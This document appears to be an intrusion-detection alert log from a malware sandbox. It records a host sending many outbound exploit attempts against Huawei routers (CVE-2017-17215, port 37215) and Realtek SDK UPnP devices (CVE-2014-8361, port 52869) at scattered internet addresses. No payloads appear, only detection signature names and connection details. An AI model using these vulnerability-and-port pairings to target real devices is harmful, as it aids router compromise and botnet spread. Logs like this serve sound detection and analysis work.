07/20/24-23:01:02.055683	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40528	37215	192.168.2.23	41.179.196.52
07/20/24-23:01:20.110861	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43186	37215	192.168.2.23	104.171.59.59
07/20/24-23:01:41.389908	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48504	52869	192.168.2.23	37.169.126.92
07/20/24-23:01:31.317668	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56692	52869	192.168.2.23	97.193.3.141
07/20/24-23:01:43.141970	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45448	52869	192.168.2.23	50.218.167.53
07/20/24-23:01:50.332163	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49330	52869	192.168.2.23	162.125.127.147
07/20/24-23:01:13.345185	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43504	52869	192.168.2.23	53.137.194.88
07/20/24-23:01:20.597058	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40540	52869	192.168.2.23	207.246.209.117
07/20/24-23:01:01.505774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35458	52869	192.168.2.23	126.16.187.60
07/20/24-23:01:59.030101	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50420	52869	192.168.2.23	118.229.228.64
07/20/24-23:01:10.513310	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46946	52869	192.168.2.23	98.89.247.140
07/20/24-23:01:44.839991	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38688	52869	192.168.2.23	52.182.197.150
07/20/24-23:01:45.188773	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48818	52869	192.168.2.23	27.86.156.82
07/20/24-23:01:40.311124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37448	37215	192.168.2.23	157.148.206.73
07/20/24-23:01:41.482016	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60160	52869	192.168.2.23	167.210.235.204
07/20/24-23:01:08.613164	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57934	52869	192.168.2.23	191.173.38.241
07/20/24-23:01:21.943544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38244	37215	192.168.2.23	159.73.26.136
07/20/24-23:02:09.321968	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55380	52869	192.168.2.23	221.3.151.48
07/20/24-23:00:57.221910	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51880	37215	192.168.2.23	132.70.95.60
07/20/24-23:01:52.380418	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35076	52869	192.168.2.23	109.170.40.38
07/20/24-23:01:08.655109	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34348	52869	192.168.2.23	57.92.179.211
07/20/24-23:01:42.399678	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44296	52869	192.168.2.23	141.137.71.180
07/20/24-23:01:49.555689	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52848	52869	192.168.2.23	134.217.248.188
07/20/24-23:01:47.921416	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55612	52869	192.168.2.23	185.104.180.12
07/20/24-23:01:44.510114	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46904	52869	192.168.2.23	133.172.125.251
07/20/24-23:01:42.313122	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35230	52869	192.168.2.23	134.135.7.1
07/20/24-23:01:56.327422	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57670	52869	192.168.2.23	87.244.170.26
07/20/24-23:01:41.217142	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32860	52869	192.168.2.23	41.87.239.136
07/20/24-23:02:21.004725	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58336	52869	192.168.2.23	102.251.132.142
07/20/24-23:01:52.940746	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36876	52869	192.168.2.23	159.143.86.166
07/20/24-23:01:45.544315	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34768	52869	192.168.2.23	91.148.233.46
07/20/24-23:01:31.318206	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33518	52869	192.168.2.23	58.239.1.240
07/20/24-23:00:59.153608	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49226	37215	192.168.2.23	41.124.14.171
07/20/24-23:01:43.096223	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60328	52869	192.168.2.23	153.113.97.179
07/20/24-23:01:43.957856	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49062	52869	192.168.2.23	12.82.126.36
07/20/24-23:01:52.482723	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58162	52869	192.168.2.23	184.162.52.201
07/20/24-23:01:40.320408	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51774	37215	192.168.2.23	157.138.76.190
07/20/24-23:01:40.311124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46666	37215	192.168.2.23	41.58.91.210
07/20/24-23:01:42.280418	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49070	52869	192.168.2.23	18.181.232.193
07/20/24-23:01:49.207937	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58860	52869	192.168.2.23	68.37.23.19
07/20/24-23:01:48.016319	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41614	52869	192.168.2.23	101.157.175.20
07/20/24-23:01:31.975513	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32976	37215	192.168.2.23	197.162.41.254
07/20/24-23:01:01.793488	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57682	52869	192.168.2.23	13.112.9.246
07/20/24-23:01:08.677485	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54274	52869	192.168.2.23	75.16.13.92
07/20/24-23:01:50.418920	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47852	52869	192.168.2.23	61.169.73.117
07/20/24-23:01:20.132103	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40700	37215	192.168.2.23	83.201.55.21
07/20/24-23:01:31.983105	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58644	37215	192.168.2.23	157.75.39.95
07/20/24-23:01:08.572790	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39552	52869	192.168.2.23	129.167.170.254
07/20/24-23:02:04.133788	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57830	52869	192.168.2.23	166.75.101.81
07/20/24-23:01:04.064240	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56680	37215	192.168.2.23	157.38.58.237
07/20/24-23:01:42.908066	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55258	52869	192.168.2.23	91.160.10.25
07/20/24-23:01:46.150064	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34880	52869	192.168.2.23	42.202.134.116
07/20/24-23:02:00.908220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56222	52869	192.168.2.23	192.173.75.154
07/20/24-23:01:53.064325	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54512	52869	192.168.2.23	158.140.216.184
07/20/24-23:01:00.638418	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40104	37215	192.168.2.23	157.63.197.170
07/20/24-23:01:56.304951	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45530	52869	192.168.2.23	104.73.220.78
07/20/24-23:01:47.331200	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46806	52869	192.168.2.23	191.68.229.244
07/20/24-23:01:42.527235	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58096	52869	192.168.2.23	70.95.192.176
07/20/24-23:01:42.988853	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55828	52869	192.168.2.23	50.88.74.31
07/20/24-23:01:26.125703	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36076	52869	192.168.2.23	149.142.97.135
07/20/24-23:01:42.334131	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55440	52869	192.168.2.23	87.76.92.180
07/20/24-23:01:56.667752	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33118	52869	192.168.2.23	141.3.146.221
07/20/24-23:01:24.876750	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53958	37215	192.168.2.23	41.129.118.181
07/20/24-23:01:21.954501	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50736	37215	192.168.2.23	41.183.90.96
07/20/24-23:01:43.023201	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38018	52869	192.168.2.23	49.182.174.70
07/20/24-23:02:07.493932	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48246	52869	192.168.2.23	140.7.17.21
07/20/24-23:01:45.165718	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33260	52869	192.168.2.23	125.137.245.127
07/20/24-23:01:00.637175	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36270	37215	192.168.2.23	41.50.145.107
07/20/24-23:01:43.642551	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56348	52869	192.168.2.23	114.55.77.0
07/20/24-23:01:43.167781	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52466	52869	192.168.2.23	212.16.123.155
07/20/24-23:01:51.060408	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44768	52869	192.168.2.23	158.244.111.55
07/20/24-23:01:43.993916	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44844	52869	192.168.2.23	47.141.1.52
07/20/24-23:01:52.006905	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38194	52869	192.168.2.23	47.192.243.189
07/20/24-23:01:09.027075	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44806	52869	192.168.2.23	157.202.7.129
07/20/24-23:01:11.631728	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54338	37215	192.168.2.23	157.215.58.156
07/20/24-23:01:42.660847	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59292	52869	192.168.2.23	161.245.24.12
07/20/24-23:01:43.874054	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60092	52869	192.168.2.23	132.191.84.86
07/20/24-23:01:42.390246	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54794	52869	192.168.2.23	111.85.168.68
07/20/24-23:01:34.050313	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56566	37215	192.168.2.23	197.108.65.14
07/20/24-23:02:12.234515	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58290	52869	192.168.2.23	129.212.42.23
07/20/24-23:01:20.113254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55470	37215	192.168.2.23	77.62.120.208
07/20/24-23:01:44.470424	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40172	52869	192.168.2.23	63.251.2.20
07/20/24-23:01:26.790100	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35768	52869	192.168.2.23	168.91.139.254
07/20/24-23:01:59.992285	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47032	52869	192.168.2.23	93.39.228.144
07/20/24-23:01:04.986393	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57142	52869	192.168.2.23	23.225.3.54
07/20/24-23:01:46.387777	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60138	52869	192.168.2.23	57.145.129.242
07/20/24-23:01:47.267254	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51136	52869	192.168.2.23	93.186.61.171
07/20/24-23:02:48.447183	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37874	52869	192.168.2.23	78.236.82.99
07/20/24-23:01:42.507489	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41820	52869	192.168.2.23	18.194.44.24
07/20/24-23:01:57.723224	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45188	52869	192.168.2.23	14.138.152.232
07/20/24-23:01:07.033766	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59984	37215	192.168.2.23	197.57.36.21
07/20/24-23:01:11.631937	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45702	37215	192.168.2.23	197.37.248.61
07/20/24-23:01:42.891313	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35544	52869	192.168.2.23	206.12.145.11
07/20/24-23:00:57.221530	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57708	37215	192.168.2.23	41.143.175.164
07/20/24-23:01:41.933600	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57584	52869	192.168.2.23	174.56.140.249
07/20/24-23:01:51.144153	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47330	52869	192.168.2.23	187.4.24.206
07/20/24-23:01:45.660608	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53702	52869	192.168.2.23	1.198.183.23
07/20/24-23:01:08.590937	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42412	52869	192.168.2.23	209.101.108.92
07/20/24-23:01:56.485717	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36340	52869	192.168.2.23	106.180.129.117
07/20/24-23:01:43.998794	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55406	52869	192.168.2.23	39.170.42.160
07/20/24-23:01:14.126869	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47980	37215	192.168.2.23	197.142.66.141
07/20/24-23:01:02.103737	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36284	37215	192.168.2.23	104.38.28.110
07/20/24-23:01:04.786751	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55894	52869	192.168.2.23	65.136.207.183
07/20/24-23:01:02.081923	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50626	52869	192.168.2.23	161.203.121.55
07/20/24-23:01:44.325103	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57446	52869	192.168.2.23	195.45.218.64
07/20/24-23:01:42.677933	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48580	52869	192.168.2.23	2.228.92.40
07/20/24-23:01:46.305660	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59386	52869	192.168.2.23	1.111.156.136
07/20/24-23:01:25.540121	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60856	52869	192.168.2.23	100.45.46.163
07/20/24-23:01:04.058922	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48232	37215	192.168.2.23	41.67.206.241
07/20/24-23:01:49.454456	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49386	52869	192.168.2.23	203.201.27.61
07/20/24-23:01:04.049279	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49124	37215	192.168.2.23	157.154.164.78
07/20/24-23:01:13.983744	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40058	52869	192.168.2.23	207.246.209.117
07/20/24-23:01:20.156820	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50346	37215	192.168.2.23	197.2.142.127
07/20/24-23:01:26.043735	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46620	52869	192.168.2.23	151.83.163.85
07/20/24-23:01:47.796509	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52586	52869	192.168.2.23	210.209.80.73
07/20/24-23:01:21.943544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48950	37215	192.168.2.23	98.137.112.190
07/20/24-23:01:45.034156	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45608	52869	192.168.2.23	157.155.242.14
07/20/24-23:01:46.971627	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56016	52869	192.168.2.23	17.24.227.79
07/20/24-23:02:20.068152	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37824	52869	192.168.2.23	203.12.208.34
07/20/24-23:01:42.401855	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40012	52869	192.168.2.23	53.176.94.191
07/20/24-23:01:27.730585	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52710	37215	192.168.2.23	41.253.120.16
07/20/24-23:01:04.040812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48880	37215	192.168.2.23	157.163.80.204
07/20/24-23:01:20.156820	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59578	37215	192.168.2.23	157.83.235.248
07/20/24-23:02:11.752225	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48318	52869	192.168.2.23	18.237.154.16
07/20/24-23:01:03.225977	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43060	52869	192.168.2.23	223.83.213.222
07/20/24-23:01:42.758699	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56734	52869	192.168.2.23	96.213.123.243
07/20/24-23:01:57.762774	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57830	52869	192.168.2.23	182.21.209.138
07/20/24-23:01:04.049279	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59072	37215	192.168.2.23	197.206.59.160
07/20/24-23:00:57.222163	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43440	37215	192.168.2.23	197.212.61.129
07/20/24-23:01:02.070492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36080	37215	192.168.2.23	223.98.49.191
07/20/24-23:01:09.032669	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54312	52869	192.168.2.23	100.7.167.160
07/20/24-23:01:12.807101	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37332	52869	192.168.2.23	207.199.110.98
07/20/24-23:01:07.016889	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35002	37215	192.168.2.23	157.198.64.39
07/20/24-23:01:40.310207	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41020	37215	192.168.2.23	41.28.95.234
07/20/24-23:01:43.498156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38412	52869	192.168.2.23	220.111.117.206
07/20/24-23:01:20.144672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45890	37215	192.168.2.23	157.44.241.190
07/20/24-23:01:47.840364	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54362	52869	192.168.2.23	129.40.249.193
07/20/24-23:01:51.864479	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57882	52869	192.168.2.23	111.225.128.216
07/20/24-23:01:44.795218	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55440	52869	192.168.2.23	36.130.15.144
07/20/24-23:01:21.938818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37944	37215	192.168.2.23	206.153.203.206
07/20/24-23:01:20.110860	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58438	37215	192.168.2.23	41.111.23.136
07/20/24-23:01:58.755147	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45994	52869	192.168.2.23	92.186.116.223
07/20/24-23:01:02.783592	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55066	52869	192.168.2.23	162.117.132.232
07/20/24-23:01:32.059767	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45268	37215	192.168.2.23	209.26.187.120
07/20/24-23:01:58.474391	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54626	52869	192.168.2.23	184.89.50.234
07/20/24-23:01:13.289823	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34358	52869	192.168.2.23	85.161.3.79
07/20/24-23:01:41.501891	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53774	52869	192.168.2.23	212.24.31.41
07/20/24-23:01:24.889164	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52336	37215	192.168.2.23	157.29.185.108
07/20/24-23:01:51.172994	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44444	52869	192.168.2.23	66.150.226.120
07/20/24-23:01:42.641430	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55140	52869	192.168.2.23	2.108.114.50
07/20/24-23:01:50.065539	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34878	52869	192.168.2.23	34.116.171.252
07/20/24-23:01:25.200191	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57584	52869	192.168.2.23	36.69.228.71
07/20/24-23:01:04.423031	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43584	52869	192.168.2.23	186.40.176.32
07/20/24-23:01:44.085493	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60514	52869	192.168.2.23	104.158.63.237
07/20/24-23:01:44.991829	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58460	52869	192.168.2.23	202.1.176.48
07/20/24-23:01:58.190255	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53358	52869	192.168.2.23	199.118.63.112
07/20/24-23:01:58.945733	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33618	52869	192.168.2.23	27.10.81.5
07/20/24-23:01:49.070413	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33184	52869	192.168.2.23	216.27.105.182
07/20/24-23:01:53.175676	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59638	52869	192.168.2.23	184.241.110.129
07/20/24-23:00:59.203960	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59652	37215	192.168.2.23	41.240.87.211
07/20/24-23:01:51.698859	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43246	52869	192.168.2.23	79.129.206.60
07/20/24-23:01:52.569791	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51988	52869	192.168.2.23	2.77.241.40
07/20/24-23:01:40.321965	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57874	37215	192.168.2.23	197.34.80.193
07/20/24-23:01:57.049485	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43448	52869	192.168.2.23	49.91.98.221
07/20/24-23:01:27.668073	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35160	37215	192.168.2.23	197.157.98.132
07/20/24-23:01:42.062724	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59740	52869	192.168.2.23	86.18.150.91
07/20/24-23:02:08.171169	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44566	52869	192.168.2.23	42.89.136.69
07/20/24-23:01:52.599833	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48540	52869	192.168.2.23	88.29.130.31
